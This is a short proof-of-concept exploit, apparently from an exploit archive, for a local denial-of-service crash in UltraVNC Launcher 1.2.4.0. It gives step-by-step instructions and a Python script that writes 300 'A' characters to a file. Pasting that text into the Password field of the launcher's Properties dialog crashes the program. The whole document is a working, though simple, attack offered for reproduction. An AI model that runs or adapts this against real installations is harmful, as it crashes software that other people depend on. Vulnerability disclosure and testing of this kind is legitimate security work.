UltraVNC Launcher version 1.2.4.0 Password denial of service proof of concept exploit.
dc74404aaa6889d6b1c1834227f11145# Exploit Title: UltraVNC Launcher 1.2.4.0 - 'Password' Denial of Service (PoC)
# Discovery by: chuyreds
# Discovery Date: 2020-04-05
# Vendor Homepage: https://www.uvnc.com/
# Software Link : https://www.uvnc.com/component/jdownloads/send/0-/394-ultravnc-1240-x86-setup.html?Itemid=0
# Tested Version: 1.2.4.0
# Vulnerability Type: Local
# Tested on OS: Windows 10 Pro x64 es
#Steps to produce the crash:
#1.- Run python code: UltraVNC_1.2.40-Launcher_Password.py
#2.- Open UltraVNC_1.2.40-Launcher_Password.txt and copy content to clipboard
#3.- Open UltraVNC Launcher
#4.- Select "Properties"
#5.- In "Password" Paste Clipboard
#6.- Click on "OK"
#7.- Click on "Propieties"
#8.- Crashed
cod = "\x41" * 300
f = open('UltraVNC_1.2.40-Launcher_Password.txt', 'w')
f.write(cod)
f.close()